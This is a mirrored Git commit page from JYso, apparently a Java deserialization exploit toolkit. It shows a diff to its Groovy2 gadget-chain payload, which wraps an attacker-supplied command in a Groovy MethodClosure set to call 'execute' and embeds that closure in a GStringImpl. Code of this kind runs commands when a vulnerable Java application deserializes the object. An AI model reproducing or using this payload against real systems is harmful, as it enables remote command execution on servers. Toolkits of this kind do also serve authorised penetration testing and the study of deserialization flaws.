mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-23 15:21:52 +08:00
groovy2 gadget反序列时触发,方便组合
This commit is contained in:
@@ -17,7 +17,7 @@ public class Groovy2 implements ObjectPayload<Object> {
|
||||
MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
|
||||
Reflections.setFieldValue(execute,"owner",command);
|
||||
Reflections.setFieldValue(execute,"method","execute");
|
||||
GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"});
|
||||
GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"});
|
||||
try {
|
||||
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
|
||||
Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);
|
||||
|
||||
Reference in New Issue
Block a user